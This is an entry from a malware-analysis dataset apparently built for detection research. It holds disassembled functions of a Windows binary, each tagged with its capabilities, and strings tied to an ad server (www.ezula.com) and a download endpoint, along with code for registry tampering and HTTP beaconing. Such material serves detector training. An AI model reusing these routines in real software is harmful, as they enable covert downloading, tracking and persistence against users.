joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40158c
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x41ad34
call fcn.0040f840
push ecx
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x50], ebx
jne 0x4015bd
cmp dword [0x421b6c], ebx
jne 0x4015c4
cmp dword [ebp + 0x10], ebx
je 0x4015bd
call fcn.004013db
cmp dword [0x421b6c], ebx
jne 0x4015c4
xor eax, eax
jmp 0x4016f3
push edi
mov edi, dword [sym.imp.USER32.dll_EnumWindows]
push 2
pop eax
push eax
push 0x40ca74
mov dword [0x421ba8], eax
call edi
cmp dword [ebp + 0x10], ebx
mov byte [ebp - 0xd], 1
jne 0x40168c
push dword [ebp + 8]
call fcn.0040f8c0
add eax, 0x2d
push eax
call fcn.0040f8b1
cmp byte [ebp + 0x14], 0x6c
pop ecx
pop ecx
mov dword [ebp - 0x14], eax
push dword [ebp + 8]
push str.www.ezula.com
jne 0x401613
push str.12h_
jmp 0x401618
push 0x420118
push str._f_94_1622_
push str._s_s_s__s
push eax
call fcn.0040f85f
add esp, 0x18
push 0x18
call fcn.0040f8b1
pop ecx
mov ecx, eax
mov dword [ebp + 0x14], ecx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x401657
push dword [ebp + 0x18]
lea eax, [ebp - 0xd]
push ebx
push eax
push esi
push dword [esi + 0x3c]
push dword [ebp - 0x14]
call fcn.00408992
mov ecx, eax
jmp 0x401659
xor ecx, ecx
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0xd], bl
mov dword [esi + 0x50], ecx
je 0x401671
call fcn.00408ca6
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
jmp 0x40167e
cmp ecx, ebx
je 0x40167e
mov eax, dword [ecx]
push 1
call dword [eax]
mov dword [esi + 0x50], ebx
push dword [ebp - 0x14]
call fcn.0040f36c
cmp byte [ebp - 0xd], bl
pop ecx
jne 0x4016da
push 0x18
mov byte [ebp - 0xd], 1
call fcn.0040f8b1
pop ecx
mov ecx, eax
mov dword [ebp + 0x14], ecx
cmp ecx, ebx
mov dword [ebp - 4], 1
je 0x4016c0
push dword [ebp + 0x18]
lea eax, [ebp - 0xd]
push dword [ebp + 0x10]
push eax
push esi
push dword [esi + 0x38]
push dword [ebp + 8]
call fcn.00408992
jmp 0x4016c2
xor eax, eax
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0xd], bl
mov dword [esi + 0x50], eax
je 0x4016dd
mov ecx, eax
call fcn.00408ca6
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push 1
pop ebx
push 2
push 0x40ca74
mov dword [0x421ba8], 1
call edi
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x14
Function at 0x40179e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call fcn.00401c08
mov ebx, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 5
push dword [ebp + 0xc]
push ebx
call esi
push 0xf0
mov dword [ebp + 8], eax
push dword [ebp + 0xc]
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, dword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
mov dword [ebp - 0xc], eax
cmp eax, ecx
mov dword [ebp - 4], ecx
mov dword [ebp + 0xc], ecx
mov dword [ebp - 8], ecx
je 0x4017f6
push eax
push ebx
call esi
push eax
mov dword [ebp - 4], eax
call edi
mov dword [ebp + 0xc], eax
cmp dword [ebp + 8], 0
je 0x401846
push dword [ebp + 8]
push ebx
call esi
push eax
mov dword [ebp + 8], eax
call edi
push dword [ebp + 0xc]
mov esi, eax
push esi
call fcn.00401865
pop ecx
mov edi, eax
pop ecx
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push ebx
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
cmp edi, esi
mov dword [ebp - 8], eax
je 0x40183d
push edi
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [ebp + 0xc], 0
pop edi
pop esi
pop ebx
je 0x40185e
cmp dword [ebp - 0xc], 0
je 0x40185e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp - 8]
leave
ret 0x14

Function at 0x405a10
Capabilities:
Hide graphical window

Disassembly:
mov eax, 0x41b0d8
call fcn.0040f840
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push edi
mov edi, ecx
mov dword [ebp - 0x10], ebx
mov eax, dword [0x421aa8]
push 0x65
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], ebx
push dword [eax + 8]
call fcn.00405c37
push ebx
mov dword [edi + 0x1c], 1
push dword [edi + 0x28]
call dword [sym.imp.USER32.dll_EnableWindow]
mov eax, dword [ebp - 0x10]
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x405a5b
xor eax, eax
jmp 0x405a8c
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
mov dword [ebp - 0x14], eax
add eax, 3
and al, 0xfc
call fcn.0040fc80
mov esi, esp
push ebx
push ebx
push dword [ebp - 0x14]
mov byte [esi], bl
push esi
push 0xffffffffffffffff
push dword [ebp - 0x18]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, esi
lea esi, [edi + 4]
push eax
push dword [esi]
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0x12c
push dword [esi]
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0xc8
mov dword [edi + 0x20], eax
push dword [esi]
call dword [sym.imp.USER32.dll_GetDlgItem]
push ebx
mov ecx, esi
mov dword [edi + 0x24], eax
call fcn.00405aea
push 5
push dword [esi]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 0x10]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov ecx, dword [ebp - 0xc]
push 1
pop eax
mov dword fs:[0], ecx
lea esp, [ebp - 0x24]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4065b8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], ebx
jne 0x4065d2
xor esi, esi
jmp 0x406600
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax + eax + 2]
mov eax, edi
add eax, 3
and al, 0xfc
call fcn.0040fc80
mov esi, esp
push ebx
push ebx
push edi
push esi
push 0xffffffffffffffff
push dword [ebp + 8]
mov byte [esi], bl
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 4], edi
jne 0x40663b
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
je 0x406634
call esi
mov esi, eax
and esi, 0xffff
or esi, 0x80070000
jmp 0x4066d0
xor esi, esi
jmp 0x4066d0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x40665e
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
jne 0x406671
xor esi, esi
jmp 0x4066c7
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
cmp edi, ebx
mov dword [ebp + 8], edi
jne 0x406683
jmp 0x40664e
call esi
mov esi, eax
and esi, 0xffff
or esi, 0x80070000
jmp 0x4066c7
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov eax, dword [ebp + 8]
cmp byte [esi + eax], bl
je 0x4066b9
lea eax, [esi + 1]
add eax, 3
and al, 0xfc
call fcn.0040fc80
lea eax, [esi + 1]
mov edi, esp
push eax
push dword [ebp + 8]
push edi
call fcn.0040f940
add esp, 0xc
mov byte [edi + esi], bl
push dword [ebp + 0x14]
lea ecx, [ebp - 0xc]
push edi
call fcn.00406737
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea esp, [ebp - 0x18]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x407146
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov eax, 0x41b154
call fcn.0040f840
sub esp, 0x114
push ebx
push esi
xor esi, esi
push edi
mov ebx, ecx
mov dword [ebp - 0x10], esi
push 0x2001f
lea ecx, [ebp - 0x10]
push dword [ebp + 8]
mov dword [ebp - 4], esi
push dword [ebx]
call fcn.00407108
mov edi, eax
cmp edi, esi
je 0x407190
cmp dword [ebp - 0x10], esi
je 0x407189
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x40722d
lea eax, [ebp - 0x20]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push eax
push esi
push esi
lea eax, [ebp - 0x14]
push esi
push eax
lea eax, [ebp - 0x120]
mov dword [ebp - 0x14], 0x100
push eax
push esi
push dword [ebp - 0x10]
call edi
test eax, eax
jne 0x407201
lea eax, [ebp - 0x120]
lea ecx, [ebp - 0x10]
push eax
call fcn.00407146
cmp eax, esi
mov dword [ebp - 0x18], eax
jne 0x4071ee
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], 0x100
push eax
push esi
push esi
lea eax, [ebp - 0x14]
push esi
push eax
lea eax, [ebp - 0x120]
push eax
push esi
push dword [ebp - 0x10]
jmp 0x4071b3
cmp dword [ebp - 0x10], esi
je 0x4071fc
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
jmp 0x40722d
cmp dword [ebp - 0x10], esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x407214
push dword [ebp - 0x10]
call edi
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
cmp dword [ebp - 0x10], esi
mov ebx, eax
je 0x40722b
push dword [ebp - 0x10]
call edi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x40723e
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.0040fc80
push ebx
push esi
lea eax, [ebp - 0x2014]
push edi
mov esi, ecx
push eax
mov dword [ebp - 0x14], esi
call fcn.00406890
xor edi, edi
cmp eax, edi
jl 0x4073f6
lea eax, [ebp - 0xa]
push eax
lea eax, [ebp - 0x2014]
push eax
call fcn.00407403
pop ecx
test eax, eax
pop ecx
jne 0x407289
mov eax, 0x80020009
jmp 0x4073f6
mov ecx, esi
call fcn.00406868
lea eax, [ebp - 0x1014]
mov ecx, esi
push eax
call fcn.00406890
cmp eax, edi
jl 0x4073f6
movzx eax, word [ebp - 0xa]
sub eax, 8
je 0x4073be
sub eax, 9
je 0x407323
dec eax
dec eax
jne 0x4073e5
lea eax, [ebp - 0x1014]
test eax, eax
jne 0x4072ce
xor ebx, ebx
jmp 0x407303
lea eax, [ebp - 0x1014]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.0040fc80
mov ebx, esp
push esi
push ebx
lea eax, [ebp - 0x1014]
push 0xffffffffffffffff
push eax
push edi
push edi
mov word [ebx], di
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x10]
push eax
push edi
push edi
push ebx
call dword [sym.imp.OLEAUT32.dll_VarUI4FromDisp]
mov eax, dword [ebp - 0x10]
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 4
jmp 0x4073d6
lea eax, [ebp - 0x1014]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test al, 1
mov dword [ebp - 8], eax
jne 0x40735f
cdq
sub eax, edx
mov ebx, eax
sar ebx, 1
mov eax, ebx
add eax, 3
and al, 0xfc
call fcn.0040fc80
mov dword [ebp - 4], esp
push ebx
push edi
push dword [ebp - 4]
call fcn.004102a0
add esp, 0xc
cmp dword [ebp - 4], edi
jne 0x407369
mov eax, 0x80004005
jmp 0x4073f6
cmp dword [ebp - 8], 0
jle 0x4073a3
mov ecx, dword [ebp - 4]
mov eax, edi
cdq
sub eax, edx
sar eax, 1
lea esi, [eax + ecx]
mov al, byte [ebp + edi - 0x1014]
push eax
call fcn.0040748a
pop ecx
mov ecx, edi
push 4
and ecx, 1
shl ecx, 2
mov edx, ecx
pop ecx
sub ecx, edx
shl al, cl
or byte [esi], al
inc edi
cmp edi, dword [ebp - 8]
jl 0x40736f
mov eax, dword [ebp + 8]
push ebx
push dword [ebp - 4]
mov eax, dword [eax]
push 3
push 0
push dword [ebp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor edi, edi
jmp 0x4073e5
lea eax, [ebp - 0x1014]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x1014]
push eax
push 1
mov eax, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0x10]
mov ecx, dword [ebp - 0x14]
call fcn.00406890
cmp eax, edi
jl 0x4073f6
xor eax, eax
lea esp, [ebp - 0x2020]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40764a
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp eax, edi
mov dword [esi + 0x88], eax
jne 0x407669
xor al, al
jmp 0x407683
lea eax, [esp + 8]
push eax
push edi
push esi
push 0x407687
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ecx
ret
Function at 0x4076d6
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
mov dword [ebp + 0x10], eax
call dword [sym.imp.ole32.dll_CoInitialize]
push dword [ebp + 8]
mov ebx, 0x421ac0
mov dword [0x421b30], 0x420428
mov dword [0x421aa8], ebx
push 0x4203b8
push ebx
mov dword [0x421ac0], 0x84
mov dword [0x421b24], 0x300
call fcn.00407843
mov eax, 0x41c880
mov ecx, eax
test ecx, ecx
je 0x407742
push 0x10
push eax
push 0x421ab0
call fcn.0040f940
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, 0x42052c
lea edi, [ebp - 4]
movsw word es:[edi], word [esi]
mov dword [0x421b44], eax
lea eax, [ebp - 4]
movsb byte es:[edi], byte [esi]
xor esi, esi
push eax
push dword [ebp + 0x10]
mov dword [ebp + 8], esi
call fcn.00407695
mov edi, eax
pop ecx
cmp edi, esi
pop ecx
je 0x4077c6
push str.UnregServer
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x407798
push str.RegServer
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4077b0
lea eax, [ebp - 4]
push eax
push edi
jmp 0x407764
push esi
push esi
push 0x64
push ebx
call fcn.004062a7
push esi
push 1
push ebx
call fcn.00407bc0
mov dword [ebp + 8], eax
jmp 0x40782d
push esi
push 1
push 0x64
push ebx
call fcn.004062a7
push esi
push 1
push ebx
call fcn.00407a47
jmp 0x4077ab
mov ecx, ebx
call fcn.0040764a
push 1
push 4
push ebx
call fcn.004078c6
lea ecx, [ebp - 0x10]
call fcn.00408888
mov eax, dword [ebp + 0x10]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0xc], eax
call fcn.004088fa
test eax, eax
je 0x407817
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push esi
push esi
lea eax, [ebp - 0x2c]
push esi
push eax
call edi
test eax, eax
je 0x407817
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push esi
push esi
lea eax, [ebp - 0x2c]
push esi
push eax
jmp 0x4077fe
push ebx
call fcn.0040795b
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x10]
call fcn.004088b1
push ebx
call fcn.00407997
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x408992
Capabilities:
Check http status code
Create thread
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
mov eax, dword [ebp + 0x18]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
sub eax, ebx
mov dword [esi], 0x41cab4
mov dword [esi + 0x14], ebx
je 0x408a55
dec eax
je 0x4089c4
dec eax
je 0x408a55
jmp 0x408ad9
push ebx
push 0x4400000
push ebx
push ebx
push ebx
push dword [ebp + 8]
push str.POST
push dword [ebp + 0xc]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp eax, ebx
mov dword [esi + 4], eax
je 0x408ad9
push dword [ebp + 0x1c]
mov ecx, esi
call fcn.00408b4f
test eax, eax
je 0x408ad9
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], ebx
push eax
lea eax, [ebp - 0xe8]
push 0xc8
push eax
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp + 0xc]
mov byte [ebp + eax - 0xe8], bl
mov eax, dword [0x4205d0]
mov dword [ebp - 0x10], eax
mov eax, dword [0x4205d4]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xe8]
push eax
call fcn.00410320
pop ecx
test eax, eax
pop ecx
je 0x408ad9
mov eax, dword [ebp + 0x14]
mov byte [eax], bl
jmp 0x408ad9
push edi
push dword [ebp + 0x10]
push 0x80400000
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x4200b8
push dword [ebp + 0xc]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [esi + 4], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], ebx
push eax
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x401054
push ebx
push ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1388
push eax
mov dword [ebp + 8], eax
call edi
cmp eax, 0x102
jne 0x408abf
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xffffffffffffffff
mov dword [esi + 4], ebx
push dword [ebp + 8]
call edi
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp + 0x10]
push eax
push 0x20000013
push dword [esi + 4]
mov dword [ebp + 0x10], 0x194
mov dword [ebp - 4], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x408b0b
cmp dword [ebp + 0x10], 0xc8
je 0x408b10
mov eax, dword [ebp + 0x14]
mov byte [eax], bl
cmp dword [ebp + 0x18], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
je 0x408b24
cmp dword [ebp + 0x18], 2
jne 0x408b2b
mov ecx, esi
call fcn.00408cd3
mov eax, esi
pop esi
pop ebx
leave
ret 0x18
Function at 0x408b4f
Capabilities:
Create thread
Send data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov edi, ecx
push dword [ebp + 8]
call fcn.0040f8c0
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x2c], eax
mov eax, dword [edi + 4]
pop ecx
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x48]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x10]
xor esi, esi
push eax
lea eax, [ebp - 0x20]
push esi
push eax
push 0x401054
push esi
push esi
mov dword [ebp - 0x48], 0x28
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1388
push eax
mov dword [ebp - 4], eax
call ebx
cmp eax, 0x102
jne 0x408bde
push dword [edi + 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xffffffffffffffff
mov dword [edi + 4], esi
push dword [ebp - 4]
call ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], esi
je 0x408c00
xor eax, eax
jmp 0x408c79
mov eax, dword [ebp + 8]
mov ebx, 0x400
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
cdq
idiv ebx
push 1
pop ecx
mov ebx, eax
cmp ebx, esi
jl 0x408c67
mov dword [ebp + 8], ecx
cmp ecx, esi
je 0x408bfc
cmp ebx, dword [ebp + 8]
jl 0x408c2d
mov eax, 0x400
jmp 0x408c39
mov eax, ebx
shl eax, 0xa
mov ecx, eax
mov eax, dword [ebp - 0xc]
sub eax, ecx
lea ecx, [ebp - 0x14]
push ecx
push eax
push dword [ebp - 4]
push dword [edi + 4]
call dword [sym.imp.WININET.dll_InternetWriteFile]
cmp ebx, dword [ebp + 8]
mov ecx, eax
jl 0x408c58
add dword [ebp - 4], 0x400
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
dec eax
cmp eax, ebx
jle 0x408c1d
cmp ecx, esi
je 0x408bfc
push esi
push esi
push esi
push dword [edi + 4]
call dword [sym.imp.WININET.dll_HttpEndRequestA]
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x408cd3
Capabilities:
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
xor ebx, ebx
mov eax, dword [esi + 0x14]
mov dword [ebp - 4], edi
cmp eax, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
je 0x408cf9
push eax
call fcn.004100dc
pop ecx
mov dword [esi + 0x14], edi
push edi
lea eax, [ebp - 4]
push edi
push eax
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x408d62
add ebx, dword [ebp - 4]
cmp dword [ebp - 4], edi
je 0x408d34
mov eax, dword [esi + 0x14]
cmp eax, edi
jne 0x408d28
push dword [ebp - 4]
call fcn.0041010b
jmp 0x408d30
push ebx
push eax
call fcn.0041017f
pop ecx
pop ecx
mov dword [esi + 0x14], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push dword [ebp - 4]
add eax, dword [esi + 0x14]
push eax
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x408d62
mov eax, dword [ebp - 0xc]
add dword [ebp - 8], eax
mov ecx, eax
sub ecx, dword [ebp - 4]
add ebx, ecx
cmp eax, edi
je 0x408d66
jmp 0x408cfc
xor eax, eax
jmp 0x408d6e
lea eax, [ebx + 1]
mov dword [esi + 0x10], eax
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408d73
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 8]
mov esi, ecx
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x408dbb
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [esi + 0x10]
dec eax
push eax
push dword [esi + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x409490
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov al, byte [0x421aac]
push ebx
push esi
push edi
mov byte [ebp - 0x14], al
xor eax, eax
lea edi, [ebp - 0x13]
push str.Software
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x34]
mov ebx, ecx
push eax
call fcn.0040ff50
mov esi, 0x4206bc
lea eax, [ebp - 0x34]
push esi
push eax
call fcn.0040ff60
lea eax, [ebp - 0x34]
push 0x4206b4
push eax
call fcn.0040ff60
lea eax, [ebp - 0x34]
push esi
push eax
call fcn.0040ff60
lea eax, [ebp - 0x34]
push 0x4206ac
push eax
call fcn.0040ff60
lea eax, [ebp - 0x34]
push esi
push eax
call fcn.0040ff60
lea eax, [ebp - 0x34]
push 0x4206a8
push eax
call fcn.0040ff60
add esp, 0x38
lea eax, [ebp - 0x14]
mov edi, SysReAllocStringLen
mov ecx, ebx
push 1
push eax
lea eax, [ebp - 0x34]
push str.Stub
push eax
push edi
call fcn.0040a99c
mov esi, 0x420698
lea eax, [ebp - 0x138]
push esi
push eax
call fcn.0040ff50
lea eax, [ebp - 0x138]
push str._download_UVid.asp_PubName
push eax
call fcn.0040ff60
lea eax, [ebp - 0x138]
push esi
push eax
call fcn.0040ff60
lea eax, [ebp - 0x138]
push str.UserID0ErrCode0Stub
push eax
call fcn.0040ff60
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x138]
push eax
call fcn.0040ff60
add esp, 0x28
xor esi, esi
lea eax, [ebp - 8]
push esi
push 0x6c
push 2
push eax
lea eax, [ebp - 0x138]
mov ecx, dword [ebx + 4]
push eax
call fcn.0040158c
test eax, eax
mov dword [ebp - 4], eax
je 0x4095b5
mov eax, dword [ebp - 8]
add eax, 2
push eax
call fcn.0040f8b1
pop ecx
mov esi, eax
mov ecx, dword [ebx + 4]
push esi
call fcn.00401703
mov ecx, dword [ebx + 4]
call fcn.00401715
cmp dword [ebp - 4], 0
je 0x40962b
push esi
call fcn.0040f8c0
test eax, eax
pop ecx
je 0x40962b
push esi
call fcn.0040fe85
test eax, eax
pop ecx
je 0x40962b
push 0xa
push esi
push eax
call fcn.00410739
add esp, 0xc
mov esi, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x34]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40962b
push esi
call fcn.0040f8c0
pop ecx
push eax
push esi
push 1
push 0x421aac
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
test eax, eax
jne 0x409622
push esi
mov ecx, 0x421b78
call fcn.0040963e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x409636
push esi
call fcn.0040f36c
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret